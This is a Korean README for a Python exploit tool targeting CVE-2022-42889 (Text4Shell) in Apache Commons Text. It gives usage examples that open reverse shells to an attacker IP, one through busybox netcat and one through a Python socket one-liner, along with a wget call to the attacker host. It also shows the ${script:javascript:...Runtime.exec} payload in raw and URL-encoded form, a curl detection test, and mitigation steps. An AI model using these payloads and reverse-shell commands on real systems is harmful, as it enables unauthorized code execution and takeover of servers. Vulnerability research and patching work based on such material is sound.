
Python 익스플로잇 for CVE-2022-42889 (Text4Shell) — Apache Commons Text 보간(interpolation)을 통한 원격 코드 실행을 가능하게 합니다. 리버스 셸 생성, SSRF, 사용자 지정 명령 실행을 지원합니다.
Apache Commons Text 1.10.0 미만 버전에서 발생하는 치명적인 원격 코드 실행 취약점인 CVE-2022-42889(Text4Shell)을 위한 Python 익스플로잇입니다.
이 익스플로잇은 StringLookup 인터폴레이터가 처리하는 특수하게 조작된 입력 문자열을 통해 **원격 코드 실행(RCE)**을 허용하는 Apache Commons Text의 취약점인 CVE-2022-42889(Text4Shell)를 대상으로 합니다.
이 취약점은 영향력 측면에서 Log4Shell과 유사하지만 다른 라이브러리에 영향을 미칩니다. 사용자 제어 입력이 취약한 메서드에 전달되면 공격자는 대상 시스템에서 임의의 코드를 실행할 수 있습니다.
Apache Commons Text는 StringLookup 인터페이스를 통해 문자열 보간을 제공합니다. interpolator 조회는 다음과 같은 다양한 접두사를 사용하여 표현식을 평가할 수 있습니다:
${script:javascript:...} - JavaScript 코드 실행 (Nashorn 엔진)${url:UTF-8:...} - URL 가져오기 (SSRF)${dns:...} - DNS 조회| 제품 | 영향을 받는 버전 | 패치된 버전 |
|---|---|---|
| Apache Commons Text | < 1.10.0 | 1.10.0 |
| Java | < 15 (RCE의 경우) | 15+ (Nashorn 비활성화) |
참고: Java 버전 ≥ 15는 script 접두사(Nashorn 비활성화)를 통한 RCE에는 취약하지 않지만, url 및 dns 접두사를 통한 SSRF에는 여전히 취약할 수 있습니다.
requests 라이브러리의존성 설치:
pip install requests
사용법
bash
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>
인자
Argument Description Required
-t, --target 대상 IP 주소 ✅ 예
-p, --port 대상 포트 (기본값: 8080) ❌ 아니요
-c, --command 실행할 명령 ✅ 예
--lhost 리버스 셸용 내 IP ✅ 예
--lport 리버스 셸용 내 포트 ✅ 예
💻 예제
예제 1: 간단한 명령 테스트
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444
예제 2: netcat을 사용한 리버스 셸
bash
# Start listener
nc -lvnp 4444
# Run exploit
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444
예제 3: Python 리버스 셸
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444
예제 4: SSRF 테스트
bash
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444
## 🔧 작동 방식
페이로드 구성: 스크립트는 ${script:javascript:...} 구문을 사용하여 악성 문자열을 생성합니다:
javascript
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}
URL 인코딩: 특수 문자가 올바른 전송을 위해 URL 인코딩됩니다:
text
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D
HTTP 요청: 스크립트는 다음으로 GET 요청을 보냅니다:
text
http://TARGET:PORT/search?query=ENCODED_PAYLOAD
명령 실행: 취약한 경우 대상은 JavaScript를 평가하고 명령을 실행합니다.
## 🔍 탐지
시스템이 취약한지 확인하세요:
수동 테스트:
bash
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"
응답에 ${script:javascript:7*7} 대신 49가 포함되어 있으면 시스템이 취약한 것입니다.
버전 확인:
CHANGELOG 또는 README 파일에서 Apache Commons Text 버전을 확인하세요.
애플리케이션에서 commons-text-*.jar 파일을 찾으세요.
## 🛡️ 완화
Apache Commons Text를 1.10.0 이상 버전으로 업그레이드하세요.
xml
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.10.0</version>
</dependency>
Java 15+로 업그레이드하세요(Nashorn JavaScript 엔진 비활성화).
입력 검증: 사용자 입력에 대한 엄격한 검증을 구현하세요.
보간 비활성화: 필요하지 않다면 `StringSubstitutor.createInterpolator()` 사용을 피하세요.
웹 애플리케이션 방화벽(WAF): `${script:javascript:}` 패턴이 포함된 요청을 차단하세요.
## 📚 참고 자료
NVD - CVE-2022-42889
Apache Commons Text 보안
Tarlogic - Text4Shell 분석
CISA 경보
## ⚠️ 면책 조항
이 익스플로잇은 교육 목적 및 승인된 보안 테스트 전용입니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 이 익스플로잇을 무단 사용하는 것은 불법입니다. 저자는 이 도구로 인한 오용이나 피해에 대해 책임을 지지 않습니다.
## 📄 라이선스
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.
## 🤝 기여
기여, 이슈 제기, 기능 요청을 환영합니다! 이슈 페이지를 자유롭게 확인해 주세요.
즐거운 해킹 되세요! 🚀